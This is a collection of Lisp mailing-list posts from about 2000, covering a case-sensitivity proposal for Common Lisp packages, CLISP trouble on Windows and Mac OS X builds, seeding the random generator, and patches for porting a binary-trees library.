Does anyone know how Fortran and COBOL have dealt with pressures for
case sensitivity? Maybe they've thought of something. They have a
sufficiently large code base that they should be highly motivated..

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William Harold Newman <william.newman@airmail.net> writes:

> Is the problem here that the uppercase names are considered ugly, 
> so that people want not only case-sensitive input, but also
> lowercase names? I.e., they want case-sensitive input and also
> want to type
>   (cl:in-package "myFavoritePackage")
> instead of 
>   (CL:IN-PACKAGE "myFavoritePackage")
> If people expect this, then what I said about the standard supporting
> case sensitivity is off base -- if not technically off base, then at
> least politically off base!

While the two issues (case-sensitivity and lower-case preference) are
technically disjoint, there is a great overlap between those that
prefer case-sensitivity and those that want to write names with mostly
lower-case characters, i.e. like they write natural language.

There are lots of reasons for this, some of them historic (Unix
tradition), some of them social trends (there has been a long trend of
moving from UNIX-UPPER-CASE through UnixStudlyCaps to alllowercase.com
not only in the computer industry but in society at large), some of
them based on natural language preferences, etc.

Actually I fall into the lower-case preferring, but case-sensitivity
abhorring camp, but I'm a strange person anyway ;).  And really I
care fairly little about the lower-case thing, but very much about the
case-sensitivity thing.

> Perhaps someone should write down all the things which are expected
> in a transition. (Perhaps someone already has and I just didn't
> notice?) 
>   * All reserved words must be lowercase.
>   * Erik doesn't want the system to shout at him.
>   * Franz wants their customers to have to keep paying no matter
>     what happens.
>   * [..]

This would be a good idea, _if_ you could find someone that was
sufficiently detached from the issues to be able to do this fairly.
That's very hard to do, so I won't even try...

> For that matter, maybe someone could also summarize the nastiest
> things which will happen if we don't just do something about this, but
> work on other stuff instead.

I think we've ignored the needs of a non-negligible portion of the CL
community for too long, already.  I think this has indirectly lead to
the current situation, and I think we really should now accomodate
those needs, or risk a fractioning of the community.  That's also why
I think this is mostly a social issue, and that the underlying
technical issues are really not at the heart of the problem.  That
doesn't mean we shouldn't care about technical issues as they crop up,
though.

> Would this break old code? Is it worth it to require people to convert
> their old
>   (export '("A" "B" "C") "D")
> code to shiny new
>   (export '("a" "b" "c") "d")
> code, or to Franz's
>   (export '(#:a #:b #:c) #:d)
> code?

I think that any change to the current situation that will be able to
satisfy the needs of the case-sensitive-lower mode folks will break
some code.  There is just no way around that:  There's legacy code
that breaks even in current ANSI Common Lisp if you just change
*print-case* to :downcase, as Tim Bradshaw pointed out.  Turning on
case-sensitivity will also break much code, since there is lots of
code out there that will use varying case for the same symbols:
There's some code that uses both T and t, or Symbol and symbol and
SYMBOL, ...

That's why I think that both case-sensitivity and lower-caseness
should be separate _options_.  This allows one to fix the easy stuff
first:  Code that makes tacit assumptions about symbol-name case, like
the export/defpackage stuff you mention.  This can be easily fixed
because it can be easily located:  stuff like this almost always
involves symbol-related functions like intern, symbol-name, etc.

Then after that's taken care off, we can switch on case-sensitivity,
and fix the hard stuff, which is finding divergent case-spellings,
upper-case standard symbols, etc.  One are this will almost invariably
involve is interestingly enough #+/#- feature testing, since many
people (me included) seem to have retained ALL-UPPER-CASE symbols in
this context, even if they use all-lower-case symbols otherwise.

At least that's my experience after having gone over several packages
(both in-house developed and foreign code) doing the conversions above.

> Does anyone know how Fortran and COBOL have dealt with pressures for
> case sensitivity? Maybe they've thought of something. They have a
> sufficiently large code base that they should be highly motivated..

That seems like a good idea.  IIRC then Ada should also be a language
and community to look into.  But we also need to remember that case
issues are more complicated in Common Lisp, since it has the ability
to treat code as data and vice-versa:  Things like macros that create
new symbols and read/write invariants.

Regs, Pierre.

-- 
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 We cause accidents.                           -- Nathaniel Borenstein

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Sam Steingold wrote:

> > * In message <3A07002B.CE33FFD2@cica.es>
> > * On the subject of "[clisp-list] Re: A problem with Windows"
> > * Sent on Mon, 06 Nov 2000 20:02:03 +0100
> > * Honorable Francisco Jesús Martín Mateos <fjesus@cica.es> writes:
> >
> > When I use "clisp" in "emacs" in my Windows 98, I have the following
> > error message
> >     "(ERROR_BAD_NETPATH) The network path was not found"
> >
> > Anyone can tell me how to avoid that?
>
> could you please be more specific?
> what are you doing in Emacs?
> (like, which variable do you set, what do you type, what is the exact
> contents of the *Backtrace* buffer when you set debug-on-error to t)

I've used the following in "_emacs"
    (setq inferior-lisp-program "c:/clisp/lisp.exe  -M c:/clisp/lispinit.mem")

When I do "M-x run-lisp", I have the following error message

[pathname.d:8514]
*** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found.

I've set the "debug-on-error" to t, but the *Backtrace* buffer didn't appear



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Francisco =?iso-8859-1?Q?Jes=FAs=5FMart=EDn?= Mateos writes:

> I've used the following in "_emacs"
>     (setq inferior-lisp-program "c:/clisp/lisp.exe  -M c:/clisp/lispinit.mem")
> 
> When I do "M-x run-lisp", I have the following error message
> 
> [pathname.d:8514]
> *** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found.

Thanks for the details. Apparently clisp is searching for the startup
file _clisprc in your home directory, but that directory is not
accessible; thus the error.

There are three workarounds:
  - Mount (i.e. "map network drive") the HOME directory,
  - change the HOME or HOMEDRIVE/HOMEPATH environment variables,
  - (setq inferior-lisp-program "c:/clisp/lisp.exe -norc -M c:/clisp/lispinit.mem")

In the next version, this error will not occur any more.

Bruno

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> * In message <3A099A06.DAF9B57@cica.es>
> * On the subject of "Re: [clisp-list] Re: A problem with Windows"
> * Sent on Wed, 08 Nov 2000 19:23:02 +0100
> * Honorable Francisco Jesús Martín Mateos <fjesus@cica.es> writes:
>
> > > When I use "clisp" in "emacs" in my Windows 98, I have the following
> > > error message
> > >     "(ERROR_BAD_NETPATH) The network path was not found"
> 
> I've used the following in "_emacs"
>     (setq inferior-lisp-program "c:/clisp/lisp.exe  -M c:/clisp/lispinit.mem")
> 
> When I do "M-x run-lisp", I have the following error message
> 
> [pathname.d:8514]
> *** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found.

This is a CLISP error (this wasn't clear before - you omitted the
crucial [pathname.d:8514] part).
I am not getting it on my WinNT4sp6 box.

Do you have your $HOME set?
Where is your _emacs?
Do you have a _clisprc in your $HOME?
Could you please try creating an empty _clisprc?

Thanks.

> I've set the "debug-on-error" to t, but the *Backtrace* buffer didn't appear

no wonder, this is a CLISP message, not an Emacs error.

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Hello,

I have problems to build clisp on MacOs X 1.0 PB (public beta).  The C compiler I use is

> localhost> cc -v
> Reading specs from /usr/libexec/ppc/2.95.2/specs
> Apple Computer, Inc. version cc-796.3, based on gcc driver version 2.7.2.1 executing gcc 
> version 2.95.2

and I 'm using the tcsh terminal. The underlying unix of MacOs X PB is Darwin 1.2 based on FreeBSD.


First I had this problem :

> localhost> setenv CC "cc -Wall"
> localhost> ./configure --host=powerpc-apple-macosx lisp
> ...
> checking for BSD-compatible nm... /usr/bin/nm -p
> checking whether ln -s works... (cached) yes
> ltconfig: you must specify a host type if you use `--no-verify'
> Try `ltconfig --help' for more information.
> configure: error: libtool configure failed

To avoid this error I changed the global variable 'host' to 'powerpc-apple-macosx' in the following files :
clisp-2000-03-06/sigsev/autoconf/ltconfig
clisp-2000-03-06/libiconv/autoconf/ltconfig
clisp-2000-03-06/libiconv/autoconf/ltconfig

It is certainly not the way to do it but it worked :

> ...
> creating config.h
> make: *** No rule to make target `avcall-.lo', needed by `avcall.lo'.  Stop.
>
> To continue building CLISP, the following commands are recommended
>   (cf. unix/INSTALL step 4):
>    cd lisp
>    ./makemake  --with-readline --with-gettext > Makefile
>    make config.lsp
>    vi config.lsp
>    make
>    make check

Then I had the following errors during make 

> ...
> chmod 644 /Users/dbuenzli/tmp/clisp-2000-03-06/lisp/libsigsegv.a
> libtool: install: warning: remember to run `libtool --finish /usr/local/lib'
> if [ ! -d /Users/dbuenzli/tmp/clisp-2000-03-06/lisp ] ; then mkdir 
> /Users/dbuenzli/tmp/clisp-2000-03-06/lisp ; fi
> cp sigsegv.h /Users/dbuenzli/tmp/clisp-2000-03-06/lisp/sigsegv.h
> ln -s ../src/version.h version.h
> cc -Wall -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c
> In file included from spvw.d:21:
> lispbibl.d:1409: #error "Preferred integer sizes depend on CPU -- Grˆflen intBWsize, 
> intWLsize, intBWLsize neu einstellen!"
> lispbibl.d:1583: #error "Preferred digit size depends on CPU -- Grˆfle intDsize neu 
> einstellen!"
> In file included from spvw.d:21:
> lispbibl.d:1993: warning: `TIME_ABSOLUTE' redefined
> /System/Library/Frameworks/System.framework/Headers/mach/clock_types.h:114: warning: > this is the location of the previous definition
> make: *** [spvw.o] Error 1

First to avoid the last error I dropped the line lispbibl.d:1993.
For the two other errors, the problem is that my CPU (powerpc) is not recognized and as I don't exactly understand what these values are I replaced line lispbibl.d:1409 by defining the intBWsize, intWLsize and intBWLsize to intBsize, intWsize, intLSize. And replaced line lispbibl.d:1583 by using the MC680Y0 values (I made theses changes in the src directory).
But then I got these errors (and I'm almost sure I did not introduce any syntax errors in my changes) :

> localhost> make
> test -d linkkit || ln -s . linkkit
> test -d bindings || mkdir bindings
> cc -Wall -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
> -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c 
> In file included from lispbibl.d:1702, 
>                  from spvw.d:21: 
> unix.d:109: parse error before `addr' 
> In file included from spvw.d:400: 
> spvw_mmap.d:40: parse error before `addr' 
> spvw_mmap.d:43: warning: type defaults to `int' in declaration of `MMAP_ADDR_T' 
> spvw_mmap.d:43: parse error before `addr' 
> spvw_mmap.d: In function `mmap_zeromap': 
> spvw_mmap.d:384: `MMAP_ADDR_T' undeclared (first use in this function) 
> spvw_mmap.d:384: (Each undeclared identifier is reported only once 
> spvw_mmap.d:384: for each function it appears in.) 
> spvw_mmap.d:384: parse error before `map_addr' 
> spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect 
> spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect 
> spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect 
> spvw_mmap.d:390: parse error before `==' 
> spvw_mmap.d:384: warning: empty body in an if-statement 
> spvw_mmap.d:381: warning: unused parameter `map_addr' 
> spvw_mmap.d:382: warning: unused parameter `map_len' 
> spvw_mmap.d: At top level: 
> spvw_mmap.d:398: parse error before `return' 
> In file included from spvw.d:705: 
> spvw_sigpipe.d: In function `sigpipe_handler': 
> spvw_sigpipe.d:34: warning: unused parameter `sig' 
> In file included from spvw.d:706: 
> spvw_sigint.d: In function `interrupt_handler': 
> spvw_sigint.d:89: warning: unused parameter `sig' 
> In file included from spvw.d:707: 
> spvw_sigwinch.d: In function `sigwinch_handler': 
> spvw_sigwinch.d:84: warning: unused parameter `sig' 
> In file included from spvw.d:717: 
> spvw_allocate.d: In function `make_space_gc_TRUE': 
> spvw_allocate.d:243: warning: label `doing_gc' defined but not used 
> spvw_allocate.d: In function `make_space_gc_FALSE': 
> spvw_allocate.d:306: warning: label `doing_gc' defined but not used 
> In file included from spvw.d:723: 
> spvw_circ.d: In function `get_circ_mark': 
> spvw_circ.d:804: warning: label `m_array' defined but not used 
> spvw_circ.d:787: warning: label `m_svector' defined but not used 
> spvw_circ.d: In function `get_circ_unmark': 
> spvw_circ.d:984: warning: label `u_array' defined but not used 
> spvw_circ.d:970: warning: label `u_svector' defined but not used 
> spvw_circ.d: In function `subst_circ_mark': 
> spvw_circ.d:1528: warning: label `case_instance' defined but not used 
> spvw_circ.d:1526: warning: label `case_closure' defined but not used 
> spvw_circ.d: In function `subst_circ_unmark': 
> spvw_circ.d:1664: warning: label `case_instance' defined but not used 
> spvw_circ.d:1662: warning: label `case_closure' defined but not used 
> spvw.d: In function `SP': 
> spvw.d:782: warning: function returns address of local variable 
> spvw.d: In function `main': 
> spvw.d:2511: warning: unused variable `for_objects' 
> spvw.d: At top level: 
> spvw_module.d:20: warning: `init_modules_0' declared `static' but never defined 
> spvw_mmap.d:25: warning: `mmap_prepare' declared `static' but never defined 
> spvw_sigpipe.d:12: warning: `install_sigpipe_handler' declared `static' but 
> never defined 
> spvw_sigint.d:12: warning: `install_sigint_handler' declared `static' but never 
> defined 
> spvw_sigwinch.d:7: warning: `install_sigwinch_handler' declared `static' but 
> never defined 
> make: *** [spvw.o] Error 1 

Thank you for your answer, best regards,
Daniel Buenzli



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Hi

I'd like some feedback on the proposal I made on C.L.L. regarding the
"case sensitivity" issue.

I believe this proposal goes in a direction that is already present in
CLisp (as a matter of fact I inspired myself to it).  So I'd like some
feedback especially w.r.t. what the CLisp team thinks about it, and -
if liked - what it'd take the CLisp team to implement it.

Of course the proposal will have to be amended here and there.

Cheers

Marco


==============================================================================
Since the crux of the problem is two-fold - case sensitivity and symbol
lookup - the personal opinion I formed is that this issue should be
addressed at the package level.  I believe that tagging a package with
a (readtable) case may be the right solution.  CLisp already hase
something similar.

So the idea would be to do the following

1 - Changes to DEFPACKAGE.

	(defpackage "FOO" (:use "COMMON-LISP")
           (:nicknames "foo")  ; Just to show that you can accomodate this.
           (:symbol-name-case <an extended readtable case tag>)
           (:export "ZUT"
                    "gnao"
                    "Bar"
                    "qWe"
                    #:a-Symbol
		    #:another-symbol
                    #:AND-ANOTHER
		    #:|an-Escaped-symBOl|
                    #:|a Funky symBOl|))

The :SYMBOL-NAME-CASE option will have effect on the way in which
symbols are looked up in the package. It will have one of the
following values:

	- :PRESERVE
          The symbol names are INTERNed in the package literally¹.
	  The symbol names are to be looked up literally.  I.e. the
	  reader, *after* having read in the symbol and having done
	  its processing according to READTABLE-CASE looks up the
	  symbol name in the appropriate package.  The match must be
	  done as if through STRING=.

	- :UPCASE
          The symbol names are INTERNed in the package after a
          STRING-UPCASE equivalent operation has been performed on them.
	  The symbol names are to be looked up literally.  I.e. the
	  reader, *after* having read in the symbol and having done
	  its processing according to READTABLE-CASE looks up the
	  symbol name in the appropriate package.  The match must be
	  done as if through STRING=.

	- :DOWNCASE
	  As per :UPCASE, with STRING-DOWNCASE.

	- :INVERT
	  As per :UPCASE, with STRING-INVERT-CASE²

	- :IGNORE
          The symbol names are INTERNed in the package literally¹.
	  The symbol names are not to be looked up literally.  I.e. the
	  reader, *after* having read in the symbol and having done
	  its processing according to READTABLE-CASE looks up the
	  symbol name in the appropriate package.  The match must be
	  done as if through STRING-EQUAL.
	  The value of :IGNORE is the default.

The system packages (most notably :COMMON-LISP) and the legacy
packages will just need to add a

	(:symbol-name-case :ignore)

or, when so explicitely desired,

	(:symbol-name-case :uppercase)


1.1 - Examples of interaction among the parameters <... omissis ...>

1.2 - Problems

The main problem to address in this setup is what to do with inherited
symbols.  There are many cases to consider³, however, the following
changes should suffice.

2 - Changes to IMPORT (and to SHADOWING-IMPORT).

IMPORT (and SHADOWING-IMPORT) must be limited.

IMPORT of a symbol in a package with :SYMBOL-CASE-NAME set to :IGNORE
or :PRESERVE is allowed without restrictions.

IMPORT of a symbol in a package with :SYMBOL-CASE-NAME set to :UPCASE
or :DOWNCASE or :INVERT is allowed if and only if the SYMBOL-NAME of
the symbol being imported is STRING-EQUAL to the result of applying
STRING-UPCASE, STRING-DOWNCASE or STRING-INVERT-CASE to the symbol
SYMBOL-NAME itself.  Otherwise a condition of type PACKAGE-ERROR (or a
new appropriate one) is signalled.


3 - Inherited symbols.

Since USE-PACKAGE makes symbol "assessible" but not "present" in the
package "issuing" the call, no changes are needed at the interface
level. The lookup of the inherited symbol is done through the current
package, using the features of the used package.


4 - Changes to FIND-SYMBOL.

See comments about DEFPACKAGE.


5 - Changes to MAKE-PACKAGE.

MAKE-PACKAGE will accept the a new keyword :SYMBOL-NAME-CASE with
possible values as described above.

6 - New Function PACKAGE-SYMBOL-NAME-CASE.

A new accessor to retrieve the the aforementioned property.


7 - Changes to LOAD (not strictly necessary).

LOAD should take an extra keyword argument named :READTABLE-CASE,
which will set the value of (a copy of) (READTABLE-CASE *READTABLE*)
before starting to READ the input contents.

8 - Examples

The case of the "CLJava" translator proposed by John Foderaro can be
dealt as follow

	(setf (readtable-case *readtable*) :preserve)

	(defpackage "Java" (:use "COMMON-LISP")
           (:symbol-name-case :preserve)
   	   (:export "addMouseListener" "this"))

	(defpackage "CLJava" (:use "COMMON-LISP")
           (:symbol-name-case :preserve)
	   (:import-from "Java" "addMouseListener" "this")
           (:export "init" "getImage" "getCodeBase"))

	(in-package "CLJava")

	(def-java-method init () void
            :public
          (setq notImage   (getImage (getCodeBase) "images/not.gif")
	        crossImage (getImage (getCodeBase) "images/cross.gif"))
  
          (addMouseListener this))

In the example you could also write

	(defpackage "CLJava" (:use "COMMON-LISP" "Java")
           (:symbol-name-case :preserve)
           (:export "init" "getImage" "getCodeBase"))


9 - Costs

The costs are the estimated to be the following

	a - Impact on existing code:
            Unable to estimate.  It would seem that the current
            practice of writing CL code all lower case should remain
            unaffected.  With :SYMBOL-CASE-NAME set to :IGNORE (the
            proposed default) the *PRINT-CASE* problem (when set to
            :DOWNCASE) would seem to go away.

	    Packages written with the current uppercase style will
	    continue to function without change.


        b - Impact on existing implementations:
            Moderate: the implementors must add all the code to
            support the proposed change.  The most vexing problem will
            be to modify the behavior of FIND-SYMBOL and IMPORT to
            accomodate the different proposed cases.


	c - Impact on performance:
	    "Interpreted" code will - most likely - suffer a
	    performance hit because of the added complexity in
	    FIND-SYMBOL.
	    "Compiled" code will - most likely - not be affected by
	    the changes proposed, except in the cases where a
	    FIND-SYMBOL is inserted by the compiler in a way beyond
	    user control.


ADVANTAGES:

These are the advantages I see in the above proposal (to paraphrase
John Foderaro):

    Existing Common Lisp programs and systems are still Common Lisp
    programs and systems.

    Programmers are not required to follow any special coding standard
    unless so required by the declaration of a third party DEFPACKAGE
    declaration (or MAKE-PACKAGE invocation).

    New code written in a :PRESERVE READTABLE-CASE can be made to work
    in any system under programmer control.  The :IGNORE default of
    the legacy packages and the :USE and IMPORT
    (cfr. SHADOWING-IMPORT) rules will ensure that they will not
    interfere with the :PRESERVE READTABLE-CASE being used.
    It is assumed that the new code will be put in packages with
    :SYMBOL-CASE-NAME set to :PRESERVE.

    There is no need for separate "images" to be provided by each
    implementor.

    Portability is ensured to a greater degree than just addressing
    the problem at the READTABLE-CASE level.  People are forced to
    make a decision about declaring how their package work and to
    advertise this fact.  Their code works in all conforming (to this
    proposal that is) implementations; i.e. how their code works is
    totally under the programmers' control, and they are not
    restricted to the decision on READTABLE-CASE (which could be left
    to :UPCASE) made by a given implementation.


DISADVANTAGES:

I foresee the following disadvantages. Actually only one.

    Given the (IMHO moderate) burden on the vendors and the
    implementors it may be that some systems will not implement
    the proposed changes.  If the proposal will ever be adopted it
    will be the burden of the community to ensure that the vendors and
    the implementors will eventually conform.



¹ This is the current ANSI default.
² The function STRING-INVERT-CASE (and NSTRING-INVERT-CASE) must be
  defined appropriatedly and inserted in the standard.
³ I know I might be missing a lot here.
==============================================================================

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Hi.
   I am using the random function.  Very strangely, it looks like the same
sets of numbers keep appearing. 

   In other languages, I have seen the same results. Other languages has a
function 
   to "seed" the random function.  

   Does CLISP have a function to "seed" random function?


   Thank You

   Randy   

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> * In message <B4CA1F5D8D23D411ADC7009027E791BF1DF5F0@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] Random function"
> * Sent on Tue, 14 Nov 2000 12:51:25 -0600
> * Honorable "Justice, Randy -CONT" <Randy.Justice@cnet.navy.mil> writes:
>
>    I am using the random function.  Very strangely, it looks like the
> same sets of numbers keep appearing.
> 
>    In other languages, I have seen the same results. Other languages
> has a function to "seed" the random function.
> 
>    Does CLISP have a function to "seed" random function?

Please see 
http://www.lisp.org/HyperSpec/Body/fun_random.html
http://www.lisp.org/HyperSpec/Body/fun_make-random-state.html

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Hi.. 
   I'm new to lisp. I have looked at the reference.  
   I did not get very much out of the reference manual. 

   Let me give you an example. I start lisp. 
   (random 1000) => 824
   (random 1000) => 10
   (random 1000) => 250
   (random 1000) => 267

I restart the machine and restart lisp.
   (random 1000) => 824
   (random 1000) => 10
   (random 1000) => 250
   (random 1000) => 267

I get the same results.  
I have tried "stuff" with "make-random-state" function. 

Thanks for any help...

Randy 


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> * In message
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> * On the subject of "[clisp-list] Random function"
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>
>    I am using the random function.  Very strangely, it looks like the
> same sets of numbers keep appearing.
> 
>    In other languages, I have seen the same results. Other languages
> has a function to "seed" the random function.
> 
>    Does CLISP have a function to "seed" random function?

Please see 
http://www.lisp.org/HyperSpec/Body/fun_random.html
http://www.lisp.org/HyperSpec/Body/fun_make-random-state.html

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Justice, Randy -CONT writes:

>    Let me give you an example. I start lisp. 
>    (random 1000) => 824
>    (random 1000) => 10
>    (random 1000) => 250
>    (random 1000) => 267
> 
> I restart the machine and restart lisp.
>    (random 1000) => 824
>    (random 1000) => 10
>    (random 1000) => 250
>    (random 1000) => 267
> 
> I get the same results.

Ah, I see what you mean. The problem is that the *random-state* value
is contained in the lisp image, and each time you start the same lisp
image, the *random-state* value is the same.

You might want to add

    (setq *random-state* (make-random-state t))

to your $HOME/.clisprc file.

Bruno

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I lost sleep last night over this problem.

Thank You.

Randy 

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Justice, Randy -CONT writes:

>    Let me give you an example. I start lisp. 
>    (random 1000) => 824
>    (random 1000) => 10
>    (random 1000) => 250
>    (random 1000) => 267
> 
> I restart the machine and restart lisp.
>    (random 1000) => 824
>    (random 1000) => 10
>    (random 1000) => 250
>    (random 1000) => 267
> 
> I get the same results.

Ah, I see what you mean. The problem is that the *random-state* value
is contained in the lisp image, and each time you start the same lisp
image, the *random-state* value is the same.

You might want to add

    (setq *random-state* (make-random-state t))

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Hi there

I really need a Lisp environment on my Mac OS X box, and unfortunately do not have the time to spend a protracted period getting the source to compile on Mac OS X PB, (I have tried ;-<) does anyone know if there are any binaries available for either Mac OS X PB or DP 4 ?

Thanks

Vincent

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Vincent Coetzee writes:

> I really need a Lisp environment on my Mac OS X box, and
> unfortunately do not have the time to spend a protracted period
> getting the source to compile on Mac OS X PB, (I have tried ;-<)
> does anyone know if there are any binaries available for either Mac
> OS X PB or DP 4 ?

Mr. Alex Karahalios <alex@karahalios.org> has reported success in
comp.lang.lisp last week. You might ask him whether he can run "make
distrib" and share the resulting binary package.

Bruno

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I don't know whether this is a bug in CLISP or not, but I'm sending it
here becuse it at least concerns CLISP.                               
                                                                      
I'm trying to get the `trees' package from the CMU Lisp Repository to 
work under CLISP (it was originally written for CMU CL).  I can get it
to load into the interpreter fine (minus some warnings and name       
conflicts that sometimes happen and sometimes not).  The problem is   
when I try to invoke `compile-file' on one of the files.              
                                                                      
Trying to compile the file `binary-trees.lisp' from the distribution  
chokes on the following form:                                         
                                                                      
(defstruct (tree-node (:print-function tree-node-print)               
                                    (:conc-name tn-))                 
  content                                                             
  left                                                                
  right                                                               
  parent)                                                             
                                                                      
(apologies for the bad code formatting)                               
                                                                      
with the following error:                                             
                                                                      
*** - PRINT: Despite of *PRINT-READABLY*, #<TREE-NODE NIL #x202EE211> 
cannot be printed readably.                                           
                                                                      
And yes, that is supposed to be `Despite of'.                         
                                                                      
I don't know why such an error happens.  Can anybody offer suggestions
to why it happens and how to make it go away?  Thanks!                
                                                                      
-Nathan                                                               

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> I don't know whether this is a bug in CLISP or not, but I'm sending it
> here becuse it at least concerns CLISP.                               
>                                                                       
> I'm trying to get the `trees' package from the CMU Lisp Repository to 
> work under CLISP (it was originally written for CMU CL).  I can get it
> to load into the interpreter fine (minus some warnings and name       
> conflicts that sometimes happen and sometimes not).  The problem is   
> when I try to invoke `compile-file' on one of the files.              
>                                                                       
> Trying to compile the file `binary-trees.lisp' from the distribution  
> chokes on the following form:                                         
>                                                                       
> (defstruct (tree-node (:print-function tree-node-print)               
>                                     (:conc-name tn-))                 
>   content                                                             
>   left                                                                
>   right                                                               
>   parent)                                                             
>                                                                       
> (apologies for the bad code formatting)                               
>                                                                       
> with the following error:                                             
>                                                                       
> *** - PRINT: Despite of *PRINT-READABLY*, #<TREE-NODE NIL #x202EE211> 
> cannot be printed readably.                     r                      
>                                                                       
> And yes, that is supposed to be `Despite of'.                         
>                                                                       
> I don't know why such an error happens.  Can anybody offer suggestions
> to why it happens and how to make it go away?  Thanks!                

Well, it is supposed to print unreadably.  The print function uses
PRINT-UNREADABLE-OBJECT after all.

I have a hunch that the problem might really be in the next form

   ;;;;;;;;;;;;; THIS SHOULD DISAPPEAR ;;;;;;;;;;;;;;;;;;;;

   (defparameter +null-node+ (make-tree-node))

Probaly there is an intercation with the CLisp compiler at some point.

You should be able to safely delete the declaration and change the
definition of TREE.  After all the sentinel and the root are
recomputed later.

This is very old code I wrote many years ago.  I have an "improved"
verion I use here and there.  Eventually it will make it into the
CLOCC.

Cheers

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Marco Antoniotti writes:

> > I'm trying to get the `trees' package from the CMU Lisp Repository to 
> > work under CLISP (it was originally written for CMU CL)

Duplicated work. Below are my patches.

> > *** - PRINT: Despite of *PRINT-READABLY*, #<TREE-NODE NIL #x202EE211> 
> > cannot be printed readably.

This is because a defconstant form wants to save a TREE-NODE to the
fas file, but the print function is not defined in the compilation
environment. Use eval-when to fix this.

Bruno


============================================================================
(The diffs are "diffs -w", you cannot apply them through "patch".)

# Don't use the non-ANSI package CONDITIONS.
*** binary-trees-package.lisp	1999/04/22 09:35:08	1.1
--- binary-trees-package.lisp	1999/04/22 09:37:33	1.3
***************
*** 27,33 ****
  ;;; 12.26.1992: released.
  
  
! (defpackage "TREES" (:use "COMMON-LISP" "CONDITIONS")
    (:export make-tree
             tree-p
             size
--- 27,33 ----
  ;;; 12.26.1992: released.
  
  
! (defpackage "TREES" (:use "COMMON-LISP")
    (:export make-tree
             tree-p
             size

# Assume ANSI CL syntax for `define-condition' and `eval-when'.
# Don't redefine the CL function `copy-tree'.
# Define +null-node+ as a constant only once, otherwise clisp warns.
# Wrap the defstruct in eval-when-always: The defconstant initializer
  (make-tree-node) has to be evaluatable in the compilation environment.
*** binary-trees.lisp	1999/04/22 09:35:08	1.1
--- binary-trees.lisp	1999/05/01 20:42:52	1.6
***************
*** 251,258 ****
  ;;;============================================================================
  ;;; Prologue
  
! (eval-when #+CLtL2 (:compile-toplevel :load-toplevel)
!            #-CLtL1 (compile load)
    (unless (find-package "TREES")
      (load "binary-trees-package")))
  
--- 251,257 ----
  ;;;============================================================================
  ;;; Prologue
  
! (eval-when (:compile-toplevel :load-toplevel)
    (unless (find-package "TREES")
      (load "binary-trees-package")))
  
***************
*** 279,284 ****
--- 278,284 ----
  
  ;;; tree-node structure --
  
+ (eval-when (load compile eval)
  (defstruct (tree-node (:print-function tree-node-print)
                        (:conc-name tn-))
    content
***************
*** 286,306 ****
    right
    parent
    )
  ;;; tree-node --
  
  
  ;;; +null-node+ parameter -- The 'sentinel' used in various
  ;;; algorithms. It is defined as a parameter in order to redefine it
! ;;; for richer tree structures (e.g. red balck trees).
  
- #-:sentinel (defconstant +null-node+ (make-tree-node))
  (defconstant +null-node+ (make-tree-node))
  ;;; +null-node+ --
  
  
  ;;; tree structure --
  
! (defstruct (tree (:print-function tree-print))
    (name nil                     :type symbol)
    (root +null-node+             :type tree-node)
    (null-sentinel +null-node+    :type tree-node)
--- 286,306 ----
    right
    parent
    )
+ )
  ;;; tree-node --
  
  
  ;;; +null-node+ parameter -- The 'sentinel' used in various
  ;;; algorithms. It is defined as a parameter in order to redefine it
! ;;; for richer tree structures (e.g. red black trees).
  
  (defconstant +null-node+ (make-tree-node))
  ;;; +null-node+ --
  
  
  ;;; tree structure --
  
! (defstruct (tree (:copier nil) (:print-function tree-print))
    (name nil                     :type symbol)
    (root +null-node+             :type tree-node)
    (null-sentinel +null-node+    :type tree-node)
***************
*** 323,329 ****
  ;;; empty-error condition --
  
  (define-condition empty-error (simple-error)
!   (a-tree)
    (:report
     (lambda (cnd strm)
       (format strm
--- 323,329 ----
  ;;; empty-error condition --
  
  (define-condition empty-error (simple-error)
!   ((a-tree :initarg :a-tree :reader empty-error-a-tree))
    (:report
     (lambda (cnd strm)
       (format strm

# Don't use the non-ANSI package CONDITIONS.
# Ensure package "TREES" exists.
*** rbtrees-package.lisp	1999/04/22 09:35:08	1.1
--- rbtrees-package.lisp	1999/04/22 09:47:17	1.4
***************
*** 26,33 ****
  ;;; History:
  ;;; 12.26.1992: released.
  
  
! (defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "CONDITIONS" "TREES")
    (:nicknames "RB-TREES" "RBT")
    (:export make-tree
             tree-p
--- 26,36 ----
  ;;; History:
  ;;; 12.26.1992: released.
  
+ (eval-when (:compile-toplevel :load-toplevel)
+   (unless (find-package "TREES")
+     (load "binary-trees-package")))
  
! (defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "TREES")
    (:nicknames "RB-TREES" "RBT")
    (:export make-tree
             tree-p

# Assume ANSI CL syntax for `define-condition' and `eval-when'.
# Before loading binary-trees, must load binary-trees-package.

*** rbtrees.lisp	1999/04/22 09:35:08	1.1
--- rbtrees.lisp	1999/05/01 20:35:24	1.4
***************
*** 210,219 ****
  ;;;============================================================================
  ;;; Prologue
  
! (eval-when #+CLtL2 (:compile-toplevel :load-toplevel)
!            #-CLtL2 (compile load)
             (unless (find-package "TREES")
!              (load "binary-trees-package"))
             (unless (find-package "RED-BLACK-TREES")
               (load "rbtrees-package")))
  
--- 210,219 ----
  ;;;============================================================================
  ;;; Prologue
  
! (eval-when (:compile-toplevel :load-toplevel)
             (unless (find-package "TREES")
!              (load "binary-trees-package")
!              (load "binary-trees"))
             (unless (find-package "RED-BLACK-TREES")
               (load "rbtrees-package")))
  
***************
*** 296,302 ****
  ;;; empty-error condition --
  
  (define-condition empty-error (simple-error)
!   (a-tree)
    (:report
     (lambda (cnd strm)
       (format strm
--- 296,302 ----
  ;;; empty-error condition --
  
  (define-condition empty-error (simple-error)
!   ((a-tree :initarg :a-tree :reader empty-error-a-tree))
    (:report
     (lambda (cnd strm)
       (format strm


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Dear mailing list:

